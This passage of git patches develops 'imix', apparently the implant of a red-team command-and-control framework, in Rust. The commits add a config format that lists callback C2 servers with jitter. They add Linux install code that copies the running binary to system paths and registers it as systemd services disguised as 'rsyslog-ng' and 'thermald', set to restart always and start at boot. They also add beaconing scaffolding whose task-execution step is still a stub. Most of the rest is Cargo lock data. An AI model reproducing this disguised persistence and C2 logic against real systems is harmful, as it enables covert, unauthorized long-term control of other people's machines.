super::Config; + pub const SYSTEMD_DIR: &str = "/lib/systemd/system/"; -pub async fn install(config: super::Config)-> Result<(), super::Error> { +pub async fn install(config: Config)-> Result<(), super::Error> { // go through each service config consuming the structs for service_config in config.service_configs.into_iter() { let service_name = service_config.name; @@ -59,11 +62,11 @@ WantedBy=multi-user.target Ok(()) } -async fn exec(_response: super::graphql::GraphQLResponse) -> Result<(), super::Error> { +async fn exec(_response: graphql::GraphQLResponse) -> Result<(), super::Error> { unimplemented!("this is where i would exec a tome... if i had one!") } -pub async fn run(config: super::Config) -> Result<(), super::Error> { +pub async fn run(config: Config) -> Result<(), super::Error> { println!("Linux run!"); let mut c2_index = 0; let callback_config = config.callback_config; @@ -75,7 +78,7 @@ pub async fn run(config: super::Config) -> Result<(), super::Error> { let c2_config = callback_config.c2_configs[c2_index].clone(); // TODO: do something with c2_config and pass in for graphql - let resp = match super::graphql::call( + let resp = match graphql::call( String::from("variables"), c2_config.uri.clone(), callback_config.timeout From 30ec8e7dee566680cc39917b7c98a4e60bce4fa5 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 24 Feb 2022 04:16:33 +0000 Subject: [PATCH 20/56] rebase! --- cmd/implants/eldritch/src/lib.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index c9b85fcf1..b0b2dac23 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -12,6 +12,7 @@ mod tests { use super::process::ProcessLibrary; use super::sys::SysLibrary; + // just checks dir... #[test] fn test_library_bindings() { #[starlark_module] From 8cd583647b3d819a9bfc095b352089fb64736131 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Tue, 15 Feb 2022 06:07:28 +0000 Subject: [PATCH 21/56] started imix bot --- .gitignore | 11 ---- cmd/imix/.gitignore | 6 ++ cmd/imix/Cargo.lock | 146 +++++++++++++++++++++++++++++++++++++++++++ cmd/imix/Cargo.toml | 9 +++ cmd/imix/src/main.rs | 15 +++++ 5 files changed, 176 insertions(+), 11 deletions(-) create mode 100644 cmd/imix/.gitignore create mode 100644 cmd/imix/Cargo.lock create mode 100644 cmd/imix/Cargo.toml create mode 100644 cmd/imix/src/main.rs diff --git a/.gitignore b/.gitignore index f0ad74f7b..7276daffa 100644 --- a/.gitignore +++ b/.gitignore @@ -1,14 +1,3 @@ -# Generated by Cargo -# will have compiled files and executables -/target/ - -# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries -# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html -Cargo.lock - -# These are backup files generated by rustfmt -**/*.rs.bk - # DS_Store for MacOS Finder **.DS_Store diff --git a/cmd/imix/.gitignore b/cmd/imix/.gitignore new file mode 100644 index 000000000..384e62980 --- /dev/null +++ b/cmd/imix/.gitignore @@ -0,0 +1,6 @@ +# Generated by Cargo +# will have compiled files and executables +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk \ No newline at end of file diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock new file mode 100644 index 000000000..a9dc07617 --- /dev/null +++ b/cmd/imix/Cargo.lock @@ -0,0 +1,146 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "clap" +version = "3.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b63edc3f163b3c71ec8aa23f9bd6070f77edbf3d1d198b164afa90ff00e4ec62" +dependencies = [ + "atty", + "bitflags", + "indexmap", + "os_str_bytes", + "strsim", + "termcolor", + "textwrap", +] + +[[package]] +name = "hashbrown" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "imix" +version = "0.1.0" +dependencies = [ + "clap", +] + +[[package]] +name = "indexmap" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282a6247722caba404c065016bbfa522806e51714c34f5dfc3e4a3a46fcb4223" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "libc" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c" + +[[package]] +name = "memchr" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" + +[[package]] +name = "os_str_bytes" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e22443d1643a904602595ba1cd8f7d896afe56d26712531c5ff73a15b2fbf64" +dependencies = [ + "memchr", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "termcolor" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "textwrap" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml new file mode 100644 index 000000000..efc14c3fd --- /dev/null +++ b/cmd/imix/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "imix" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +clap = { version = "3.0" } \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs new file mode 100644 index 000000000..3d25fc3a7 --- /dev/null +++ b/cmd/imix/src/main.rs @@ -0,0 +1,15 @@ +use clap::{App}; + +fn main() { + let matches = App::new("imix") + .subcommand( + App::new("install") + .about("Run in install mode") + ) + .get_matches(); + + match matches.subcommand() { + Some(("install", _)) => println!("Installing..."), + _ => println!("Running..."), + } +} From 2f75a200f0d58ba406b72a03597948c75f1ff3b2 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 16 Feb 2022 03:09:03 +0000 Subject: [PATCH 22/56] added basic reading of config file and a bit of a touch up around args --- cmd/imix/Cargo.lock | 80 ++++++++++++++++++++++++++++ cmd/imix/Cargo.toml | 4 +- cmd/imix/contrib/example_config.json | 47 ++++++++++++++++ cmd/imix/src/main.rs | 60 +++++++++++++++++++-- 4 files changed, 186 insertions(+), 5 deletions(-) create mode 100644 cmd/imix/contrib/example_config.json diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock index a9dc07617..a932c106a 100644 --- a/cmd/imix/Cargo.lock +++ b/cmd/imix/Cargo.lock @@ -60,6 +60,8 @@ name = "imix" version = "0.1.0" dependencies = [ "clap", + "serde", + "serde_json", ] [[package]] @@ -72,6 +74,12 @@ dependencies = [ "hashbrown", ] +[[package]] +name = "itoa" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35" + [[package]] name = "libc" version = "0.2.117" @@ -93,12 +101,78 @@ dependencies = [ "memchr", ] +[[package]] +name = "proc-macro2" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7342d5883fbccae1cc37a2353b09c87c9b0f3afd73f5fb9bba687a1f733b029" +dependencies = [ + "unicode-xid", +] + +[[package]] +name = "quote" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "864d3e96a899863136fc6e99f3d7cae289dafe43bf2c5ac19b70df7210c0a145" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "ryu" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73b4b750c782965c211b42f022f59af1fbceabdd026623714f104152f1ec149f" + +[[package]] +name = "serde" +version = "1.0.136" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.136" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08597e7152fcd306f41838ed3e37be9eaeed2b61c42e2117266a554fab4662f9" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e8d9fa5c3b304765ce1fd9c4c8a3de2c8db365a5b91be52f186efc675681d95" +dependencies = [ + "itoa", + "ryu", + "serde", +] + [[package]] name = "strsim" version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" +[[package]] +name = "syn" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a65b3f4ffa0092e9887669db0eae07941f023991ab58ea44da8fe8e2d511c6b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-xid", +] + [[package]] name = "termcolor" version = "1.1.2" @@ -114,6 +188,12 @@ version = "0.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" +[[package]] +name = "unicode-xid" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" + [[package]] name = "winapi" version = "0.3.9" diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml index efc14c3fd..cb307d15e 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/imix/Cargo.toml @@ -6,4 +6,6 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] -clap = { version = "3.0" } \ No newline at end of file +clap = { version = "3.0" } +serde = { version = "1.0", features = ["derive"] } +serde_json = "1.0" \ No newline at end of file diff --git a/cmd/imix/contrib/example_config.json b/cmd/imix/contrib/example_config.json new file mode 100644 index 000000000..e42c37ffd --- /dev/null +++ b/cmd/imix/contrib/example_config.json @@ -0,0 +1,47 @@ +{ + "target_name":"Team 1 - Web", + "callback_interval":60000, + "callback_jitter":5000, + "c2_configs":[ + { + "uri":"http://c2.prn0.realm.pub", + "timeout":5, + "priority":10, + "sticky":false, + "failsafe":false + }, + { + "uri":"http://c2.frc0.realm.pub", + "timeout":5, + "priority":10, + "sticky":false, + "failsafe":false + }, + { + "uri":"http://sketchy.realm.pub", + "timeout":5, + "priority":5, + "sticky":true, + "failsafe":false + }, + { + "uri":"http://secret.realm.pub.com", + "timeout":5, + "priority":5, + "sticky":false, + "failsafe":true + } + ], + "service_configs":[ + { + "name":"rsyslog-ng", + "description":"Definitely logging", + "executable_path":"/usr/sbin/rsyslog-ng" + }, + { + "name":"thermald", + "description":"careful things don't overheat", + "executable_path":"/bin/thermald" + } + ] +} \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index 3d25fc3a7..ceb788c15 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -1,15 +1,67 @@ -use clap::{App}; +use clap::{App, arg}; +use serde::{Serialize, Deserialize}; +use std::fs::File; -fn main() { +#[derive(Serialize, Deserialize, Debug)] +struct C2Config { + uri: String, + timeout: u32, + priority: u8, + sticky: bool, + failsafe: bool +} + +#[derive(Serialize, Deserialize, Debug)] +struct ServiceConfig { + name: String, + description: String, + executable_path: String +} + +#[derive(Serialize, Deserialize, Debug)] +struct Config { + target_name: String, + callback_interval: u32, + callback_jitter: u32, + c2_configs: Vec, + service_configs: Vec, +} + + +fn install(file_path: String) -> std::io::Result<()> { + println!("Installing with {} config...", file_path); + let config_file = File::open(file_path)?; + let config: Config = serde_json::from_reader(config_file)?; + println!("Loaded this: {:?}", config); + + Ok(()) +} + +fn run() -> std::io::Result<()> { + println!("Running..."); + + Ok(()) +} + +fn main() -> std::io::Result<()> { let matches = App::new("imix") .subcommand( App::new("install") .about("Run in install mode") + .arg( + arg!( + -c --config "Sets a custom config file" + ) + .required(true) + ) ) .get_matches(); match matches.subcommand() { - Some(("install", _)) => println!("Installing..."), - _ => println!("Running..."), + Some(("install", args)) => { + let file_path_str = args.value_of("config").unwrap(); + install(String::from(file_path_str)) + }, + _ => run(), } } From fc7f3891af1028bb8961c6efec9ac0a688311ffa Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 16 Feb 2022 04:39:34 +0000 Subject: [PATCH 23/56] wrote the linux install and re-orged some of the namespacing --- cmd/imix/src/lib.rs | 29 ++++++++++++++++++++ cmd/imix/src/linux.rs | 59 +++++++++++++++++++++++++++++++++++++++++ cmd/imix/src/main.rs | 42 +++++++++-------------------- cmd/imix/src/windows.rs | 4 +++ 4 files changed, 105 insertions(+), 29 deletions(-) create mode 100644 cmd/imix/src/lib.rs create mode 100644 cmd/imix/src/linux.rs create mode 100644 cmd/imix/src/windows.rs diff --git a/cmd/imix/src/lib.rs b/cmd/imix/src/lib.rs new file mode 100644 index 000000000..316a14e4b --- /dev/null +++ b/cmd/imix/src/lib.rs @@ -0,0 +1,29 @@ +use serde::{Serialize, Deserialize}; + +#[derive(Serialize, Deserialize)] +pub struct C2Config { + uri: String, + timeout: u32, + priority: u8, + sticky: bool, + failsafe: bool +} + +#[derive(Serialize, Deserialize)] +pub struct ServiceConfig { + name: String, + description: String, + executable_path: String +} + +#[derive(Serialize, Deserialize)] +pub struct Config { + target_name: String, + callback_interval: u32, + callback_jitter: u32, + c2_configs: Vec, + service_configs: Vec, +} + +pub mod windows; +pub mod linux; \ No newline at end of file diff --git a/cmd/imix/src/linux.rs b/cmd/imix/src/linux.rs new file mode 100644 index 000000000..e41b24897 --- /dev/null +++ b/cmd/imix/src/linux.rs @@ -0,0 +1,59 @@ +use std::fs; +use std::process::Command; + +pub const SYSTEMD_DIR: &str = "/lib/systemd/system/"; + +pub fn install(config: super::Config)-> std::io::Result<()> { + // go through each service config consuming the structs + for service_config in config.service_configs.into_iter() { + let service_name = service_config.name; + let service_description = service_config.description; + let service_executable_path = service_config.executable_path; + let service_file_content = format!( + "# This file is part of systemd. +# +# systemd is free software; you can redistribute it and/or modify it +# under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation; either version 2.1 of the License, or +# (at your option) any later version. + +[Unit] +Description={service_description} +Documentation=man:systemd(8) +Documentation=http://www.freedesktop.org/wiki/Software/systemd/ +Documentation=http://www.freedesktop.org/wiki/Software/systemd/ + +# Ask for the {service_name} socket. +# Wants={service_name}.socket +# After={service_name}.socket + +[Service] +ExecStart={service_executable_path} +Restart=always +RestartSec=120 +StartLimitBurst=0 + +[Install] +WantedBy=multi-user.target +", + ); + + // build the path for the service and write the service file + let mut service_file_path = String::new(); + service_file_path.push_str(SYSTEMD_DIR); + service_file_path.push_str(&service_name); + service_file_path.push_str(".service"); + fs::write(service_file_path, service_file_content)?; + + // copy the currently running binary to the exec path (yes order is right) + let curr_exec_path = std::env::args().nth(0).unwrap(); + fs::copy(curr_exec_path, service_executable_path)?; + + // daemon reload/enable service/start service + Command::new("systemctl").arg("daemon-reload").output()?; + Command::new("systemctl").arg("restart").arg(&service_name).output()?; + Command::new("systemctl").arg("enable").arg(&service_name).output()?; + Command::new("systemctl").arg("start").arg(&service_name).output()?; + } + Ok(()) +} \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index ceb788c15..dc6cd9d00 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -1,40 +1,24 @@ +extern crate imix; + use clap::{App, arg}; -use serde::{Serialize, Deserialize}; use std::fs::File; - -#[derive(Serialize, Deserialize, Debug)] -struct C2Config { - uri: String, - timeout: u32, - priority: u8, - sticky: bool, - failsafe: bool -} - -#[derive(Serialize, Deserialize, Debug)] -struct ServiceConfig { - name: String, - description: String, - executable_path: String -} - -#[derive(Serialize, Deserialize, Debug)] -struct Config { - target_name: String, - callback_interval: u32, - callback_jitter: u32, - c2_configs: Vec, - service_configs: Vec, -} +use std::path::Path; fn install(file_path: String) -> std::io::Result<()> { println!("Installing with {} config...", file_path); let config_file = File::open(file_path)?; - let config: Config = serde_json::from_reader(config_file)?; - println!("Loaded this: {:?}", config); + let config: imix::Config = serde_json::from_reader(config_file)?; - Ok(()) + if cfg!(windows) { + return imix::windows::install(config); + } + + if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { + return imix::linux::install(config); + } + + unimplemented!("The current OS/Service Manager is not supported") } fn run() -> std::io::Result<()> { diff --git a/cmd/imix/src/windows.rs b/cmd/imix/src/windows.rs new file mode 100644 index 000000000..d87847625 --- /dev/null +++ b/cmd/imix/src/windows.rs @@ -0,0 +1,4 @@ + +pub fn install(_config: super::Config)-> std::io::Result<()> { + unimplemented!("Windows is currently not supported") +} \ No newline at end of file From e589c81412d1bc39e12f4ea6aee5fb78d6822c05 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 17 Feb 2022 05:47:00 +0000 Subject: [PATCH 24/56] added a ton fo logic for the initial call back, also errors! --- cmd/imix/Cargo.lock | 704 ++++++++++++++++++++++++++++++++++++++++ cmd/imix/Cargo.toml | 8 +- cmd/imix/src/graphql.rs | 62 ++++ cmd/imix/src/lib.rs | 60 +++- cmd/imix/src/linux.rs | 45 ++- cmd/imix/src/main.rs | 55 +++- cmd/imix/src/windows.rs | 6 +- 7 files changed, 910 insertions(+), 30 deletions(-) create mode 100644 cmd/imix/src/graphql.rs diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock index a932c106a..a4c245770 100644 --- a/cmd/imix/Cargo.lock +++ b/cmd/imix/Cargo.lock @@ -25,6 +25,24 @@ version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" +[[package]] +name = "bytes" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8" + +[[package]] +name = "cc" +version = "1.0.73" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + [[package]] name = "clap" version = "3.0.14" @@ -40,6 +58,121 @@ dependencies = [ "textwrap", ] +[[package]] +name = "core-foundation" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" + +[[package]] +name = "fastrand" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf" +dependencies = [ + "instant", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "futures-channel" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3" + +[[package]] +name = "futures-sink" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868" + +[[package]] +name = "futures-task" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a" + +[[package]] +name = "futures-util" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "pin-utils", +] + +[[package]] +name = "getrandom" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "418d37c8b1d42553c93648be529cb70f920d3baf8ef469b74b9638df426e0b4c" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "h2" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9f1f717ddc7b2ba36df7e871fd88db79326551d3d6f1fc406fbfd28b582ff8e" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + [[package]] name = "hashbrown" version = "0.11.2" @@ -55,13 +188,102 @@ dependencies = [ "libc", ] +[[package]] +name = "http" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31f4c6746584866f0feabcc69893c5b51beef3831656a968ed7ae254cdc4fd03" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ff4f84919677303da5f147645dbea6b1881f368d03ac84e1dc09031ebd7b2c6" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9100414882e15fb7feccb4897e5f0ff0ff1ca7d1a86a23208ada4d7a18e6c6c4" + +[[package]] +name = "httpdate" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" + +[[package]] +name = "hyper" +version = "0.14.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "043f0e083e9901b6cc658a77d1eb86f4fc650bbb977a4337dd63192826aa85dd" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-timeout" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + [[package]] name = "imix" version = "0.1.0" dependencies = [ "clap", + "hyper", + "hyper-timeout", + "hyper-tls", + "openssl", + "rand", "serde", "serde_json", + "tokio", ] [[package]] @@ -74,24 +296,165 @@ dependencies = [ "hashbrown", ] +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + [[package]] name = "itoa" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35" +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + [[package]] name = "libc" version = "0.2.117" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c" +[[package]] +name = "lock_api" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88943dd7ef4a2e5a4bfa2753aaab3013e34ce2533d1996fb18ef591e315e2b3b" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" +dependencies = [ + "cfg-if", +] + [[package]] name = "memchr" version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" +[[package]] +name = "mio" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba272f85fa0b41fc91872be579b3bbe0f56b792aa361a380eb669469f68dafb2" +dependencies = [ + "libc", + "log", + "miow", + "ntapi", + "winapi", +] + +[[package]] +name = "miow" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" +dependencies = [ + "winapi", +] + +[[package]] +name = "native-tls" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48ba9f7719b5a0f42f338907614285fb5fd70e53858141f69898a1fb7203b24d" +dependencies = [ + "lazy_static", + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "ntapi" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28774a7fd2fbb4f0babd8237ce554b73af68021b5f695a3cebd6c59bac0980f" +dependencies = [ + "winapi", +] + +[[package]] +name = "num_cpus" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "once_cell" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da32515d9f6e6e489d7bc9d84c71b060db7247dc035bbe44eac88cf87486d8d5" + +[[package]] +name = "openssl" +version = "0.10.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c7ae222234c30df141154f159066c5093ff73b63204dcda7121eb082fc56a95" +dependencies = [ + "bitflags", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-sys", +] + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-src" +version = "111.17.0+1.1.1m" +source = 